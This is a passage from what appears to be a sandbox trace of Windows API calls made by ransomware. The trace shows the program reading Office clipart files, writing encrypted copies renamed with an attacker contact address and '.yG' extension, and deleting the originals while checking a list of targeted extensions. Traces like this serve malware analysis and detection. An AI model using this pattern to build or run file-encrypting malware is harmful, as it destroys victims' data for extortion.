	[0182.929] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0182.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 68
	[0182.929] lstrlenW (lpString=".dbf") returned 4
	[0182.929] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0182.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 68
	[0182.929] lstrlenW (lpString=".1cd") returned 4
	[0182.929] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0182.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01176_.WMF") returned 68
	[0182.929] lstrlenW (lpString=".jpg") returned 4
	[0182.929] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0182.930] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0182.930] lstrlenW (lpString="DD01178_.WMF") returned 12
	[0182.930] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01178_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0182.932] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x315ff14 | out: lpFileSize=0x315ff14*=3796) returned 1
	[0182.932] CloseHandle (hObject=0x398) returned 1
	[0182.932] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01178_.wmf")) returned 0x220
	[0182.932] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01178_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0182.932] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01178_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0182.933] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.933] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.933] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01178_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0182.934] GetLastError () returned 0x0
	[0182.934] ReadFile (in: hFile=0x398, lpBuffer=0x3d1f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d1f020*, lpNumberOfBytesRead=0x315fecc*=0xed4, lpOverlapped=0x0) returned 1
	[0182.935] WriteFile (in: hFile=0x39c, lpBuffer=0x3d1f020*, nNumberOfBytesToWrite=0xee0, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d1f020*, lpNumberOfBytesWritten=0x315fc94*=0xee0, lpOverlapped=0x0) returned 1
	[0183.405] ReadFile (in: hFile=0x398, lpBuffer=0x3d1f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d1f020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1
	[0183.405] WriteFile (in: hFile=0x39c, lpBuffer=0x3d1f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d1f020*, lpNumberOfBytesWritten=0x315fc94*=0xec, lpOverlapped=0x0) returned 1
	[0183.405] SetEndOfFile (hFile=0x39c) returned 1
	[0183.405] CloseHandle (hObject=0x39c) returned 1
	[0183.405] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.405] SetEndOfFile (hFile=0x398) returned 1
	[0183.406] CloseHandle (hObject=0x398) returned 1
	[0183.406] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0183.407] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01178_.wmf")) returned 1
	[0183.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 68
	[0183.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 68
	[0183.408] lstrlenW (lpString=".doc") returned 4
	[0183.408] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0183.408] lstrlenW (lpString=".docx") returned 5
	[0183.408] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0183.408] lstrlenW (lpString=".pdf") returned 4
	[0183.408] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0183.408] lstrlenW (lpString=".xls") returned 4
	[0183.408] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0183.408] lstrlenW (lpString=".xlsx") returned 5
	[0183.408] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0183.408] lstrlenW (lpString=".ppt") returned 4
	[0183.408] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0183.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 68
	[0183.408] lstrlenW (lpString=".zip") returned 4
	[0183.408] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0183.408] lstrlenW (lpString=".rar") returned 4
	[0183.408] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0183.408] lstrlenW (lpString=".bz2") returned 4
	[0183.408] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0183.408] lstrlenW (lpString=".7z") returned 3
	[0183.408] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0183.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 68
	[0183.409] lstrlenW (lpString=".dbf") returned 4
	[0183.409] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0183.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 68
	[0183.409] lstrlenW (lpString=".1cd") returned 4
	[0183.409] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0183.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 68
	[0183.409] lstrlenW (lpString=".jpg") returned 4
	[0183.409] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0183.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 68
	[0183.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 68
	[0183.409] lstrlenW (lpString=".doc") returned 4
	[0183.409] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0183.409] lstrlenW (lpString=".docx") returned 5
	[0183.409] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0183.409] lstrlenW (lpString=".pdf") returned 4
	[0183.409] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0183.410] lstrlenW (lpString=".xls") returned 4
	[0183.410] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0183.410] lstrlenW (lpString=".xlsx") returned 5
	[0183.410] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0183.410] lstrlenW (lpString=".ppt") returned 4
	[0183.410] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0183.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 68
	[0183.410] lstrlenW (lpString=".zip") returned 4
	[0183.410] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0183.410] lstrlenW (lpString=".rar") returned 4
	[0183.410] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0183.410] lstrlenW (lpString=".bz2") returned 4
	[0183.410] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0183.410] lstrlenW (lpString=".7z") returned 3
	[0183.410] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0183.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 68
	[0183.410] lstrlenW (lpString=".dbf") returned 4
	[0183.410] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0183.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 68
	[0183.410] lstrlenW (lpString=".1cd") returned 4
	[0183.410] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0183.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01178_.WMF") returned 68
	[0183.410] lstrlenW (lpString=".jpg") returned 4
	[0183.410] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0183.411] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0183.411] lstrlenW (lpString="DD01585_.WMF") returned 12
	[0183.411] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01585_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0183.411] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x315ff14 | out: lpFileSize=0x315ff14*=2524) returned 1
	[0183.411] CloseHandle (hObject=0x398) returned 1
	[0183.411] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01585_.wmf")) returned 0x220
	[0183.411] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01585_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0183.411] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01585_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0183.412] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.412] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.412] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01585_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0183.413] GetLastError () returned 0x0
	[0183.413] ReadFile (in: hFile=0x398, lpBuffer=0x3d1f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d1f020*, lpNumberOfBytesRead=0x315fecc*=0x9dc, lpOverlapped=0x0) returned 1
	[0183.414] WriteFile (in: hFile=0x39c, lpBuffer=0x3d1f020*, nNumberOfBytesToWrite=0x9e0, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d1f020*, lpNumberOfBytesWritten=0x315fc94*=0x9e0, lpOverlapped=0x0) returned 1
	[0183.415] ReadFile (in: hFile=0x398, lpBuffer=0x3d1f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d1f020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1
	[0183.415] WriteFile (in: hFile=0x39c, lpBuffer=0x3d1f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d1f020*, lpNumberOfBytesWritten=0x315fc94*=0xec, lpOverlapped=0x0) returned 1
	[0183.415] SetEndOfFile (hFile=0x39c) returned 1
	[0183.415] CloseHandle (hObject=0x39c) returned 1
	[0183.416] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.416] SetEndOfFile (hFile=0x398) returned 1
	[0183.416] CloseHandle (hObject=0x398) returned 1
	[0183.417] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0183.417] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01585_.wmf")) returned 1
	[0183.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 68
	[0183.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 68
	[0183.418] lstrlenW (lpString=".doc") returned 4
	[0183.418] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0183.418] lstrlenW (lpString=".docx") returned 5
	[0183.418] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0183.418] lstrlenW (lpString=".pdf") returned 4
	[0183.418] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0183.418] lstrlenW (lpString=".xls") returned 4
	[0183.418] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0183.418] lstrlenW (lpString=".xlsx") returned 5
	[0183.418] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0183.418] lstrlenW (lpString=".ppt") returned 4
	[0183.418] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0183.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 68
	[0183.418] lstrlenW (lpString=".zip") returned 4
	[0183.418] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0183.418] lstrlenW (lpString=".rar") returned 4
	[0183.418] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0183.418] lstrlenW (lpString=".bz2") returned 4
	[0183.418] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0183.418] lstrlenW (lpString=".7z") returned 3
	[0183.419] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0183.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 68
	[0183.419] lstrlenW (lpString=".dbf") returned 4
	[0183.419] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0183.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 68
	[0183.419] lstrlenW (lpString=".1cd") returned 4
	[0183.419] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0183.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 68
	[0183.419] lstrlenW (lpString=".jpg") returned 4
	[0183.419] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0183.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 68
	[0183.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 68
	[0183.419] lstrlenW (lpString=".doc") returned 4
	[0183.419] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0183.419] lstrlenW (lpString=".docx") returned 5
	[0183.419] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0183.419] lstrlenW (lpString=".pdf") returned 4
	[0183.419] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0183.419] lstrlenW (lpString=".xls") returned 4
	[0183.419] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0183.419] lstrlenW (lpString=".xlsx") returned 5
	[0183.419] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0183.419] lstrlenW (lpString=".ppt") returned 4
	[0183.419] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0183.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 68
	[0183.419] lstrlenW (lpString=".zip") returned 4
	[0183.420] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0183.420] lstrlenW (lpString=".rar") returned 4
	[0183.420] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0183.420] lstrlenW (lpString=".bz2") returned 4
	[0183.420] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0183.420] lstrlenW (lpString=".7z") returned 3
	[0183.420] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0183.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 68
	[0183.420] lstrlenW (lpString=".dbf") returned 4
	[0183.420] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0183.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 68
	[0183.420] lstrlenW (lpString=".1cd") returned 4
	[0183.420] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0183.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 68
	[0183.420] lstrlenW (lpString=".jpg") returned 4
	[0183.420] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0183.420] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0183.420] lstrlenW (lpString="DD01586_.WMF") returned 12
	[0183.420] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01586_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0183.421] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x315ff14 | out: lpFileSize=0x315ff14*=2324) returned 1
	[0183.421] CloseHandle (hObject=0x398) returned 1
	[0183.421] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01586_.wmf")) returned 0x220
	[0183.421] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01586_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0183.421] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01586_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0183.421] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.421] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.422] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01586_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0183.422] GetLastError () returned 0x0
	[0183.422] ReadFile (in: hFile=0x398, lpBuffer=0x3d1f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d1f020*, lpNumberOfBytesRead=0x315fecc*=0x914, lpOverlapped=0x0) returned 1
	[0183.423] WriteFile (in: hFile=0x39c, lpBuffer=0x3d1f020*, nNumberOfBytesToWrite=0x920, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d1f020*, lpNumberOfBytesWritten=0x315fc94*=0x920, lpOverlapped=0x0) returned 1
	[0183.446] ReadFile (in: hFile=0x398, lpBuffer=0x3d1f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d1f020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1
	[0183.446] WriteFile (in: hFile=0x39c, lpBuffer=0x3d1f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d1f020*, lpNumberOfBytesWritten=0x315fc94*=0xec, lpOverlapped=0x0) returned 1
	[0183.446] SetEndOfFile (hFile=0x39c) returned 1
	[0183.446] CloseHandle (hObject=0x39c) returned 1
	[0183.446] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.446] SetEndOfFile (hFile=0x398) returned 1
	[0183.447] CloseHandle (hObject=0x398) returned 1
	[0183.447] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0183.447] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01586_.wmf")) returned 1
	[0183.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 68
	[0183.448] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 68
	[0183.448] lstrlenW (lpString=".doc") returned 4
	[0183.448] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0183.448] lstrlenW (lpString=".docx") returned 5
	[0183.448] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0183.448] lstrlenW (lpString=".pdf") returned 4
	[0183.448] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0183.448] lstrlenW (lpString=".xls") returned 4
	[0183.449] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0183.449] lstrlenW (lpString=".xlsx") returned 5
	[0183.449] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0183.449] lstrlenW (lpString=".ppt") returned 4
	[0183.449] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0183.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 68
	[0183.449] lstrlenW (lpString=".zip") returned 4
	[0183.449] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0183.449] lstrlenW (lpString=".rar") returned 4
	[0183.449] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0183.449] lstrlenW (lpString=".bz2") returned 4
	[0183.449] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0183.449] lstrlenW (lpString=".7z") returned 3
	[0183.449] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0183.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 68
	[0183.449] lstrlenW (lpString=".dbf") returned 4
	[0183.449] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0183.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 68
	[0183.449] lstrlenW (lpString=".1cd") returned 4
	[0183.449] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0183.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 68
	[0183.449] lstrlenW (lpString=".jpg") returned 4
	[0183.449] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0183.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 68
	[0183.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 68
	[0183.449] lstrlenW (lpString=".doc") returned 4
	[0183.450] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0183.450] lstrlenW (lpString=".docx") returned 5
	[0183.450] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0183.450] lstrlenW (lpString=".pdf") returned 4
	[0183.450] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0183.450] lstrlenW (lpString=".xls") returned 4
	[0183.450] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0183.450] lstrlenW (lpString=".xlsx") returned 5
	[0183.450] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0183.450] lstrlenW (lpString=".ppt") returned 4
	[0183.450] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0183.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01586_.WMF") returned 68
	[0183.450] lstrlenW (lpString=".zip") returned 4
	[0183.450] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0183.450] lstrlenW (lpString=".rar") returned 4
	[0183.450] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0183.450] lstrlenW (lpString=".bz2") returned 4
	[0183.450] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0183.450] lstrlenW (lpString=".7z") returned 3
